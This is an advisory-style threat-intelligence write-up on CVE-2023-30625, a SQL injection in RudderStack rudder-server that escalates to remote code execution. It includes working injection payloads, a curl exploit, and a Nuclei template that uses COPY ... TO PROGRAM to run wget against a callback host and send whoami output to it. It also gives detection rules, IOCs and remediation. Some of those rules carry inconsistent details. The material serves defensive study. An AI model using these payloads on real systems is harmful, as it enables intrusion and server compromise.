CVE-2023-30625

Executive Summary

CVE-2023-30625 is a critical SQL injection vulnerability in RudderStack's rudder-server, an open-source Customer Data Platform (CDP). The vulnerability exists in versions prior to 1.3.0-rc.1 and allows authenticated attackers to inject arbitrary SQL commands. Due to the default PostgreSQL rudder role having superuser permissions, this SQL injection can be escalated to full Remote Code Execution (RCE), leading to complete compromise of the database and underlying server. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of active exploitation.

Supply Chain & Package Security

Rudder-server is a Go-based application. The vulnerability is introduced in the source code of the application itself, not in a third-party package. However, the default configuration of the PostgreSQL database with a superuser role for the application is a significant supply chain risk, as it amplifies the impact of any SQL injection flaw. Organizations using RudderStack should audit their database role permissions and ensure the principle of least privilege is applied.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The combination of low attack complexity, low privileges required, and the potential for RCE due to superuser database permissions makes this a high-priority vulnerability. The EPSS score of 0.88186 (99.5th percentile) indicates a high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in the /v1/warehouse/pending-events endpoint. The application fails to properly sanitize the source_id parameter in the JSON request body. An attacker can inject SQL commands by crafting a malicious source_id value.

The core issue is that the source_id is directly concatenated into a SQL query without parameterization or escaping. This allows an attacker to break out of the intended SQL statement and execute arbitrary commands.

The provided Nuclei template demonstrates the exploitation technique:

1. The attacker sends a POST request to /v1/warehouse/pending-events with a crafted JSON payload.
2. The source_id value contains a SQL injection payload that uses PostgreSQL's COPY ... TO PROGRAM functionality.
3. The COPY ... TO PROGRAM command allows the attacker to execute arbitrary operating system commands on the database server.
4. In the PoC, the command is wget {{interactsh-url}}, which is used to verify outbound connectivity and confirm RCE.

The default PostgreSQL rudder role having superuser permissions is the critical enabler. Without superuser privileges, the COPY ... TO PROGRAM command would be blocked, limiting the impact to data exfiltration or modification.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely constructs a SQL query similar to:

SELECT * FROM pending_events WHERE source_id = 'user_input';

Where user_input is directly taken from the JSON body without sanitization.

Patched Code (Conceptual): The patched code uses parameterized queries or prepared statements:

// Using a database/sql prepared statement
stmt, err := db.Prepare("SELECT * FROM pending_events WHERE source_id = $1")
if err != nil {
    // handle error
}
rows, err := stmt.Query(sourceID)

This prevents SQL injection by separating the SQL logic from the data.

The specific commits (0d061ff2d8c16845179d215bf8012afceba12a30 and 2f956b7eb3d5eb2de3e79d7df2c87405af25071e) should be reviewed for the exact code changes.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable RudderStack instance (version < 1.3.0-rc.1).
• Valid credentials for a low-privileged user.
• Network access to the /v1/warehouse/pending-events endpoint.

Exploitation Steps:

1. Identify Target: Scan for RudderStack instances. Shodan dorks: rudder-server, rudderstack.
2. Authenticate: Obtain a valid session token or API key.
3. Craft Payload: Use the payload from the Nuclei template. Replace {{interactsh-url}} with your own callback server (e.g., Burp Collaborator, interactsh).

   {"source_id": "test'; copy (SELECT '') to program 'wget http://your-collaborator.net/$(whoami)'-- - "}
   

4. Send Request:

   curl -X POST https://target.com/v1/warehouse/pending-events \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <token>" \
     -d '{"source_id": "test'\''; copy (SELECT '\'''\'' ) to program '\''wget http://your-collaborator.net/$(whoami)'\''-- - "}'
   

5. Verify RCE: Check your callback server for a request containing the output of the whoami command.
6. Escalate: Use the RCE to establish a reverse shell or perform further post-exploitation.

Nuclei Template (Provided):

id: CVE-2023-30625

info:
  name: Rudder Server < 1.3.0-rc.1 - SQL Injection
  author: gy741
  severity: high
  description: |
    Rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.
  impact: |
    Authenticated attackers can execute arbitrary SQL commands and potentially achieve remote code execution due to PostgreSQL superuser permissions, leading to complete database and server compromise.
  remediation: |
    Upgrade to Rudder Server version 1.3.0-rc.1 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2022-097_rudder-server/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30625
    - http://packetstormsecurity.com/files/173837/Rudder-Server-SQL-Injection-Remote-Code-Execution.html
    - https://github.com/rudderlabs/rudder-server/commit/0d061ff2d8c16845179d215bf8012afceba12a30
    - https://github.com/rudderlabs/rudder-server/commit/2f956b7eb3d5eb2de3e79d7df2c87405af25071e
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-30625
    cwe-id: CWE-89
    epss-score: 0.88186
    epss-percentile: 0.99496
    cpe: cpe:2.3:a:rudderstack:rudder-server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rudderstack
    product: rudder-server
  tags: cve,cve2023,packetstorm,rudder,rudderstack,sqli,vkev,vuln
variables:
  cmd: "wget {{interactsh-url}}"

http:
  - raw:
      - |
        POST /v1/warehouse/pending-events HTTP/1.1
        Host: {{Hostname}}

        {"source_id": "test'; copy (SELECT '') to program '{{cmd}}'-- - "}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "error getting pending"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 500

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /v1/warehouse/pending-events with unusual source_id values containing SQL keywords (e.g., ', ;, COPY, PROGRAM, SELECT).
• Alert on HTTP 500 responses from this endpoint, especially when accompanied by SQL error messages.
• Monitor outbound network connections from the RudderStack server to unknown external hosts (e.g., interactsh, Burp Collaborator).
• Monitor database logs for COPY ... TO PROGRAM commands executed by the rudder role.

Hunting:

• Search database logs for any execution of COPY ... TO PROGRAM.
• Review application logs for SQL errors containing the string "error getting pending".
• Check for any recent modifications to system files or scheduled tasks on the database server.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /v1/warehouse/pending-events with SQL injection patterns in the source_id field.
  • Outbound connections to unknown IPs/domains on port 80/443 from the RudderStack server.
  • DNS queries to interactsh or similar callback services.
• Host:
  • Unexpected processes running on the database server (e.g., wget, curl, reverse shells).
  • New user accounts or modifications to /etc/passwd or /etc/shadow.
  • Unauthorized scheduled tasks or cron jobs.
• Database:
  • Execution of COPY ... TO PROGRAM commands.
  • Unusual queries to system tables (e.g., pg_catalog, pg_class).
  • Creation of new database roles or functions.

Detection Engineering

YARA Rule

rule CVE_2023_30625_RudderStack_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting RudderStack CVE-2023-30625"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-30625"
        hash = "4a0a00473045022006fbd8a15a891488bf6a9af4de450002c50bea0955511a3f48e48437b4c4b13f022100e6cebe266ba14985574bbcc3eb7f00f45d44074634694f88a574330866e2e937"
    strings:
        $s1 = "copy (SELECT" ascii nocase
        $s2 = "to program" ascii nocase
        $s3 = "/v1/warehouse/pending-events" ascii nocase
        $s4 = "source_id" ascii nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: RudderStack SQL Injection (CVE-2023-30625)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against RudderStack's /v1/warehouse/pending-events endpoint.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30625
    - https://github.com/rudderlabs/rudder-server/commit/0d061ff2d8c16845179d215bf8012afceba12a30
logsource:
    category: webserver
    product: rudderstack
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/v1/warehouse/pending-events'
        cs-uri-query|contains: 
            - "copy (SELECT"
            - "to program"
    condition: selection
falsepositives:
    - Legitimate use of SQL commands in source_id (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-30625 RudderStack SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/v1/warehouse/pending-events"; http_uri;
    content:"source_id"; http_client_body;
    content:"copy (SELECT"; http_client_body; nocase;
    content:"to program"; http_client_body; nocase;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2023-30625;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2023-30625;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Immediately upgrade RudderStack to version 1.3.0-rc.1 or later.
2. Restrict Database Permissions: Revoke superuser privileges from the rudder PostgreSQL role. Create a dedicated role with only the necessary permissions (SELECT, INSERT, UPDATE, DELETE on required tables).
3. Network Segmentation: Ensure the RudderStack server is in a segmented network with restricted outbound access. Block outbound connections to unknown or untrusted hosts.
4. Web Application Firewall (WAF): Deploy a WAF rule to block requests to /v1/warehouse/pending-events containing SQL injection patterns (e.g., ', ;, COPY, PROGRAM).

Long-Term Measures:

1. Secure Coding Practices: Implement parameterized queries or prepared statements for all database interactions.
2. Regular Security Audits: Conduct regular code reviews and penetration testing.
3. Principle of Least Privilege: Apply the principle of least privilege to all database roles and application permissions.
4. Monitoring: Implement robust logging and monitoring for database and application activity.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: EAC6FBA4AC5972E11365CEE6] */}